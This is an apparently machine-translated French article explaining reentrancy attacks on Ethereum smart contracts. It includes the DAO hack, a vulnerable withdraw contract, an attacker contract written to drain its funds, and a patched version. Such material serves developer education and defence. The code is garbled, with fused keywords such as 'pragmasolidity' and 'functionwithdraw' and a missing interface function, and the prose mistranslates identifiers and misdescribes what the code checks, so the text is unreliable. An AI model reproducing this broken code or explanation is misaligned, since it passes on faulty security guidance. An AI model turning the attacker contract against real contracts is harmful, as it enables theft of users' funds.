Voici comment se déroule l'un des hacks de contrats intelligents les plus courants qui coûtent des millions aux entreprises du Web 3...
Certains des plus grands piratages de l'industrie de la blockchain, où des millions de dollars de jetons de crypto-monnaie ont été volés, ont résulté d'attaques de réentrance. Bien que ces hacks soient devenus moins courants ces dernières années, ils constituent toujours une menace importante pour les applications et les utilisateurs de la blockchain.
Alors, que sont exactement les attaques par réentrance? Comment sont-ils déployés? Et y a-t-il des mesures que les développeurs peuvent prendre pour les empêcher de se produire ?
Qu'est-ce qu'une attaque par réentrance?
Une attaque par réentrance se produit lorsque une fonction de contrat intelligent vulnérable fait un appel externe à un contrat malveillant, abandonnant temporairement le contrôle du flux de transaction. Le contrat malveillant appelle ensuite à plusieurs reprises la fonction de contrat intelligent d'origine avant de terminer son exécution tout en drainant ses fonds.
Essentiellement, une transaction de retrait sur la blockchain Ethereum suit un cycle en trois étapes: confirmation du solde, remise et mise à jour du solde. Si un cybercriminel peut détourner le cycle avant la mise à jour du solde, il peut retirer des fonds à plusieurs reprises jusqu'à ce qu'un portefeuille soit vidé.
L'un des hacks blockchain les plus infâmes, le hack Ethereum DAO, couvert par Coindesk, était une attaque de réentrance qui a entraîné une perte de plus de 60 millions de dollars en eth et a fondamentalement changé le cours de la deuxième plus grande crypto-monnaie.
Comment fonctionne une attaque par réentrance?
Imaginez une banque dans votre ville natale où des habitants vertueux gardent leur argent; sa liquidité totale est de 1 million de dollars. Cependant, la banque a un système comptable défectueux - les employés attendent jusqu'au soir pour mettre à jour les soldes bancaires.
Votre ami investisseur visite la ville et découvre la faille comptable. Il crée un compte et dépose 100 000 $. Un jour plus tard, il retire 100 000 $. Au bout d'une heure, il fait une autre tentative de retrait de 100 000 $. Comme la banque n'a pas mis à jour son solde, il lit toujours 100 000 $. Il reçoit donc l'argent. Il le fait à plusieurs reprises jusqu'à ce qu'il n'y ait plus d'argent. Les employés ne réalisent qu'il n'y a pas d'argent que lorsqu'ils équilibrent les livres le soir.
Dans le cadre d’un smart contract, le processus se déroule comme suit :
- Un cybercriminel identifie un contrat intelligent "X" avec une vulnérabilité.
- L'attaquant initie une transaction légitime vers le contrat cible, X, pour envoyer des fonds à un contrat malveillant, "Y". Lors de l'exécution, Y appelle la fonction vulnérable dans X.
- L'exécution du contrat de X est interrompue ou retardée pendant que le contrat attend une interaction avec l'événement externe
- Pendant que l'exécution est en pause, l'attaquant appelle à plusieurs reprises la même fonction vulnérable dans X, déclenchant à nouveau son exécution autant de fois que possible
- À chaque rentrée, l'état du contrat est manipulé, permettant à l'attaquant de drainer des fonds de X vers Y
- Une fois les fonds épuisés, la rentrée s'arrête, l'exécution différée de X se termine enfin et l'état du contrat est mis à jour en fonction de la dernière rentrée.
Généralement, l'attaquant exploite avec succès la vulnérabilité de réentrance à son avantage, en volant les fonds du contrat.
Un exemple d'attaque de réentrance
Alors, comment une attaque par réentrance pourrait-elle se produire techniquement lorsqu'elle est déployée? Voici un contrat intelligent hypothétique avec une passerelle de réentrance. Nous utiliserons la dénomination axiomatique pour faciliter le suivi.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
Le VulnérableContrat permet aux utilisateurs de déposer eth dans le contrat en utilisant le dépôt fonction. Les utilisateurs peuvent ensuite retirer leur eth déposé en utilisant le retirer fonction. Cependant, il existe une vulnérabilité de réentrance dans le retirer fonction. Lorsqu'un utilisateur se retire, le contrat transfère le montant demandé à l'adresse de l'utilisateur avant de mettre à jour le solde, créant ainsi une opportunité à exploiter pour un attaquant.
Maintenant, voici à quoi ressemblerait le contrat intelligent d'un attaquant.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Lorsque l'attaque est lancée :
- Le AttaquantContrat prend l'adresse du VulnérableContrat dans son constructeur et le stocke dans le VulnérableContrat variable.
- Le attaque fonction est appelée par l'attaquant, déposant de l'eth dans le VulnérableContrat en utilisant le dépôt fonction, puis en appelant immédiatement le retirer fonction de la VulnérableContrat.
- Le retirer fonction dans le VulnérableContrat transfère la quantité demandée d'eth à l'attaquant AttaquantContrat avant de mettre à jour le solde, mais comme le contrat de l'attaquant est en pause pendant l'appel externe, la fonction n'est pas encore terminée.
- Le recevoir fonction dans le AttaquantContrat est déclenché parce que le VulnérableContrat envoyé eth à ce contrat lors de l'appel externe.
- La fonction de réception vérifie si le AttaquantContrat solde est d'au moins 1 éther (le montant à retirer), puis il réintègre le VulnérableContrat en appelant son retirer fonctionner à nouveau.
- Répétez les étapes trois à cinq jusqu'à ce que le VulnérableContrat manque de fonds et le contrat de l'attaquant accumule une quantité substantielle d'eth.
- Enfin, l'attaquant peut appeler le retirer des fonds volés fonction dans le AttaquantContrat pour voler tous les fonds accumulés dans leur contrat.
L'attaque peut se produire très rapidement, selon les performances du réseau. Lorsqu'il s'agit de contrats intelligents complexes tels que le DAO Hack, qui a conduit à la bifurcation dure d'Ethereum dans Ethereum et Ethereum Classic, l'attaque se déroule sur plusieurs heures.
Comment prévenir une attaque de réentrance
Pour empêcher une attaque de réentrance, nous devons modifier le contrat intelligent vulnérable afin de suivre les meilleures pratiques pour le développement de contrats intelligents sécurisés. Dans ce cas, nous devrions implémenter le modèle "vérifications-effets-interactions" comme dans le code ci-dessous.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
Dans cette version corrigée, nous avons introduit un est verrouillé cartographie pour savoir si un compte particulier est en cours de retrait. Lorsqu'un utilisateur initie un retrait, le contrat vérifie si son compte est bloqué (!isLocked[msg.expéditeur]), indiquant qu'aucun autre retrait sur le même compte n'est actuellement en cours.
Si le compte n'est pas verrouillé, le contrat se poursuit avec le changement d'état et l'interaction externe. Après le changement d'état et l'interaction externe, le compte est à nouveau déverrouillé, permettant de futurs retraits.
Types d'attaques de réentrance
Généralement, il existe trois principaux types d'attaques par réentrance en fonction de leur nature d'exploitation.
- Attaque par réentrance unique : Dans ce cas, la fonction vulnérable que l'attaquant appelle à plusieurs reprises est la même que celle qui est sensible à la passerelle de réentrance. L'attaque ci-dessus est un exemple d'attaque par réentrance unique, qui peut être facilement évitée en mettant en œuvre des vérifications et des verrouillages appropriés dans le code.
- Attaque interfonctionnelle : Dans ce scénario, un attaquant exploite une fonction vulnérable pour appeler une fonction différente dans le même contrat qui partage un état avec la fonction vulnérable. La deuxième fonction, appelée par l'attaquant, a un effet souhaitable, ce qui la rend plus attrayante pour l'exploitation. Cette attaque est plus complexe et plus difficile à détecter, c'est pourquoi des vérifications et des verrouillages stricts sur les fonctions interconnectées sont nécessaires pour l'atténuer.
- Attaque de contrats croisés : Cette attaque se produit lorsqu'un contrat externe interagit avec un contrat vulnérable. Au cours de cette interaction, l'état du contrat vulnérable est appelé dans le contrat externe avant sa mise à jour complète. Cela se produit généralement lorsque plusieurs contrats partagent la même variable et que certains mettent à jour la variable partagée de manière non sécurisée. Protocoles de communication sécurisés entre contrats et périodiques audits de contrats intelligents doit être mis en œuvre pour atténuer cette attaque.
Les attaques de réentrance peuvent se manifester sous différentes formes et nécessitent donc des mesures spécifiques pour les prévenir.
Rester à l'abri des attaques de réentrance
Les attaques de réentrance ont causé des pertes financières substantielles et sapé la confiance dans les applications de la blockchain. Pour protéger les contrats, les développeurs doivent adopter les meilleures pratiques avec diligence pour éviter les vulnérabilités de réentrance.
Ils doivent également mettre en œuvre des modèles de retrait sécurisés, utiliser des bibliothèques de confiance et effectuer des audits approfondis pour renforcer davantage la défense du contrat intelligent. Bien sûr, rester informé des menaces émergentes et être proactif dans les efforts de sécurité peut également garantir le maintien de l'intégrité des écosystèmes de la blockchain.